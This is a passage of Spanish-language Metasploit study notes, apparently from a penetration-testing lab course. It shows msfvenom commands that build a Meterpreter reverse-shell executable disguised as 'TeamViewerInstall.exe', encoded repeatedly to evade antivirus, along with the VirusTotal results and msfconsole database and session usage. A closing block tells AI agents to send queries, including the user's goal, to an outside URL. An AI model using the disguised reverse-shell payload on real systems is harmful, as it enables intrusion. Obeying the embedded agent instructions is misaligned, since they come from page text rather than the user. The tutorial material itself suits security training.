msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7987bb912d2c28575c83fe8658fe350860d054e%2F%7B9D2F800E-06E5-46F0-B550-1CAB0EE070BB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Esto generará una carga útil en `exe`formato TeamViewerInstall.exe, que se supone que se ejecute en procesadores de arquitectura x86 para la plataforma Windows, con una carga útil de shell Meterpreter reverse/\_tcp oculta, codificada una vez con el esquema Shikata Ga Nai. Tomemos el resultado y súbámoslo a VirusTotal.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f67ce1978e736431065d695d90d5376c039d81ef%2Fimage%20(1075).png?alt=media" alt=""><figcaption></figcaption></figure>

Una mejor opción sería intentar ejecutarlo a través de múltiples iteraciones del mismo esquema de codificación:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672816123d8b92b1f5adb9d7bdca4b45e550130d%2Fimage%20(1076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Como podemos ver, esto sigue sin ser suficiente para evadir a los antivirus. Hay una gran cantidad de productos que todavía detectan la carga útil. Alternativamente, Metasploit ofrece una herramienta llamada `msf-virustotal`que podemos usar con una clave API para analizar nuestras cargas útiles. Sin embargo, esto requiere un registro gratuito en VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Usando la clave API: <API key>
[*] Espere mientras subo TeamViewerInstall.exe...
[*] VirusTotal: solicitud de análisis en cola con éxito, vuelva más tarde para obtener el informe
[*] Hash MD5 de muestra    : 4f54cc46e2f55be168cc6114b74a3130
[*] Hash SHA1 de muestra   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Hash SHA256 de muestra : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Enlace de análisis: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Solicitando el informe...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Se recibió el código -2. Esperando otros 60 segundos...
[*] Informe de análisis: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivirus             Detectado  Versión                                                        Resultado                                                   Actualización
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Malicioso                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       sospechoso                                                 20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Inseguro                                                     20220505
 Cynet                 true      4.0.0.27                                                        Malicioso (puntuación: 100)                                     20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           una variante de Win32/Rozena.AA                               20220505
 Elastic               true      4.0.36                                                          malicioso (alta confianza)                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     malware (puntuación IA=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  Se comporta como Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        IA estática - PE malicioso                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Bases de datos:

{% hint style="info" %}
`Bases de datos`son `msfconsole`se usan para hacer seguimiento de sus resultados. No sorprende que, al evaluar máquinas aún más complejas, y mucho menos redes enteras, las cosas puedan volverse un poco difusas y complicadas debido a la enorme cantidad de resultados de búsqueda, puntos de entrada, problemas detectados, credenciales descubiertas, etc. Aquí es donde entran en juego las bases de datos. `msfconsole` cuenta con soporte integrado para el sistema de bases de datos PostgreSQL. Con ello tenemos acceso directo, rápido y sencillo a los resultados del análisis, con la capacidad añadida de importar y exportar resultados junto con herramientas de terceros. Las entradas de la base de datos también pueden usarse para configurar directamente los ajustes del módulo Exploit con resultados ya existentes.
{% endhint %}

### Configurando la base de datos

Primero, debemos asegurarnos de que el servidor PostgreSQL esté en ejecución en nuestra máquina anfitriona. Para ello, introduzca el siguiente comando:

**Estado de PostgreSQL**

```bash
sudo service postgresql status
```

**Iniciar PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Iniciar una base de datos**

```bash
sudo msfdb init
```

**Conexión a la base de datos iniciada**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Si, sin embargo, ya hemos configurado la base de datos y no podemos cambiar la contraseña del usuario de MSF, continúe con estos comandos:
{% endhint %}

**Restablecimiento de la base de datos**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Uso de la base de datos

```bash
help database

Comandos del backend de la base de datos
=========================

    Comando           Descripción
    -------           -----------
    db_connect        Conectar a una base de datos existente
    db_disconnect     Desconectarse de la instancia actual de la base de datos
    db_export         Exportar un archivo que contenga el contenido de la base de datos
    db_import         Importar un archivo de resultados de escaneo (el tipo de archivo se detectará automáticamente)
    db_nmap           Ejecuta nmap y registra la salida automáticamente
    db_rebuild_cache  Reconstruye la caché de módulos almacenada en la base de datos
    db_status         Mostrar el estado actual de la base de datos
    hosts             Listar todos los hosts de la base de datos
    loot              Listar todo el botín de la base de datos
    notes             Listar todas las notas de la base de datos
    services          Listar todos los servicios de la base de datos
    vulns             Listar todas las vulnerabilidades de la base de datos
    workspace         Cambiar entre espacios de trabajo de la base de datos
```

Después de confirmar que la base de datos está conectada correctamente, podemos organizar nuestros `espacios de trabajo`

#### Espacios de trabajo:

Podemos pensar en `espacios de trabajo`de la misma forma en que pensaríamos en archivos de proyecto. Podemos separar diferentes resultados de escaneo, hosts e información extraída por IP, subred, red o dominio.

```bash
workspace -a Target_1

[*] Espacio de trabajo añadido: Target_1
[*] Espacio de trabajo: Target_1

msf6 > workspace Target_1

[*] Espacio de trabajo: Target_1

msf6 > workspace

  predeterminado
* Target_1
```

### Importando resultados del escaneo

A continuación, supongamos que queremos importar un `escaneo de Nmap`archivo de un host a nuestro espacio de trabajo de la base de datos para comprender mejor el objetivo

```bash
msf6 > db_import Target.xml

[*] Importando datos de 'Nmap XML'
[*] Importación: analizando con 'Nokogiri v1.10.9'
[*] Importando el host 10.10.10.40
[*] Importado correctamente ~/Target.xml

msf6 > hosts

Hosts
=====

dirección      mac  nombre  nombre_SO  sabor_SO  sp_SO  propósito  información  comentarios
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Desconocido                    dispositivo

msf6 > services

Servicios
========

host         puerto   proto  nombre          estado  información
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         abierto   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   abierto   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  abierto   Microsoft Windows 7 - 10 microsoft-ds grupo de trabajo: WORKGROUP
10.10.10.40  49152  tcp    msrpc         abierto   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         abierto   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         abierto   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         abierto   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         abierto   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         abierto   Microsoft Windows RPC
```

### Usando Nmap dentro de MSFconsole

Alternativamente, podemos usar Nmap directamente desde msfconsole. Para escanear directamente desde la consola sin tener que enviarlo al segundo plano ni salir del proceso, use el `db_nmap`comando.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Iniciando Nmap 7.80 ( https://nmap.org ) en 2020-08-17 21:04 UTC
[*] Nmap: informe de escaneo de Nmap para 10.10.10.8
[*] Nmap: el host está activo (latencia de 0.016s).
[*] Nmap: no se muestran: 999 puertos filtrados
[*] Nmap: PUERTO   ESTADO SERVICIO VERSIÓN
[*] Nmap: 80/TCP abierto  http    HttpFileServer httpd 2.3
[*] Nmap: información del servicio: SO: Windows; CPE: cpe:/o:microsoft:windows
```

### Copia de seguridad de datos

Cuando termine la sesión, asegúrese de respaldar sus datos si ocurre algo con el servicio PostgreSQL. Para ello, use el `db_export`comando.

```bash
db_export -h

Uso:
    db_export -f <format> [filename]
    El formato puede ser uno de: xml, pwdump
```

#### Hosts:

Los hosts también pueden agregarse manualmente como entradas separadas en esta tabla. Tras añadir nuestros hosts personalizados, también podemos organizar el formato y la estructura de la tabla, añadir comentarios, editar información existente y mucho más.

```bash
hosts -h

Uso: hosts [ opciones ] [addr1 addr2 ...]

OPCIONES:
  -a,--add          Añadir los hosts en lugar de buscarlos
  -d,--delete       Eliminar los hosts en lugar de buscarlos
  -c <col1,col2>    Mostrar solo las columnas indicadas (ver lista abajo)
  -C <col1,col2>    Mostrar solo las columnas indicadas hasta el siguiente reinicio (ver lista abajo)
  -h,--help         Mostrar esta información de ayuda
  -u,--up           Mostrar solo los hosts que están activos
  -o <file>         Enviar la salida a un archivo en formato CSV
  -O <column>       Ordenar las filas por el número de columna especificado
  -R,--rhosts       Establecer RHOSTS a partir de los resultados de la búsqueda
  -S,--search       Cadena de búsqueda para filtrar
  -i,--info         Cambiar la información de un host
  -n,--name         Cambiar el nombre de un host
  -m,--comment      Cambiar el comentario de un host
  -t,--tag          Añadir o especificar una etiqueta para un rango de hosts
```

#### Servicios El `servicios`comando funciona de la misma manera que el anterior. Contiene una tabla con descripciones e información sobre los servicios descubiertos durante los escaneos o las interacciones. Al igual que el comando anterior, las entradas aquí son altamente personalizables.

```bash
services -h

Uso: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Añadir los servicios en lugar de buscarlos
  -d,--delete       Eliminar los servicios en lugar de buscarlos
  -c <col1,col2>    Mostrar solo las columnas indicadas
  -h,--help         Mostrar esta información de ayuda
  -s <name>         Nombre del servicio que se va a añadir
  -p <port>         Buscar una lista de puertos
  -r <protocol>     Tipo de protocolo del servicio que se añade [tcp|udp]
  -u,--up           Mostrar solo los servicios que están activos
  -o <file>         Enviar la salida a un archivo en formato csv
  -O <column>       Ordenar las filas por el número de columna especificado
  -R,--rhosts       Establecer RHOSTS a partir de los resultados de la búsqueda
  -S,--search       Cadena de búsqueda para filtrar
  -U,--update       Actualizar los datos del servicio existente
```

#### Credenciales

El `creds`comando le permite ver las credenciales recopiladas durante sus interacciones con el host objetivo. También podemos añadir credenciales manualmente, asociar credenciales existentes con especificaciones de puertos, añadir descripciones, etc.

## Sesiones:

### Sesiones

> MSFconsole puede gestionar varios módulos al mismo tiempo. Esta es una de las muchas razones por las que ofrece al usuario tanta flexibilidad. Esto se logra mediante el uso de `Sesiones`que crea interfaces de control dedicadas para todos sus módulos desplegados.
>
> Una vez creadas varias sesiones, podemos alternar entre ellas y vincular un módulo diferente a una de las sesiones en segundo plano para ejecutarlo o convertirlas en tareas. Tenga en cuenta que, una vez que una sesión se coloca en segundo plano, seguirá ejecutándose y nuestra conexión con el host objetivo persistirá. Sin embargo, las sesiones pueden morir si algo sale mal mientras se ejecuta la carga útil, haciendo que el canal de comunicación se rompa.

**Listado de sesiones activas**

Podemos usar el `sesiones`comando para ver nuestras sesiones activas actualmente.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Sesiones activas
===============

  Id  Nombre  Tipo                     Información                 Conexión
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Interactuando con una sesión**

Puedes usar el `sessions -i [no.]`comando para abrir una sesión específica.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Iniciando interacción con 1...

meterpreter >
```

### Todas las notas

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/es/hacking-tools/exploitation/metasploit/metasploit-enumeration-services.md">Enumeración de servicios con Metasploit</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
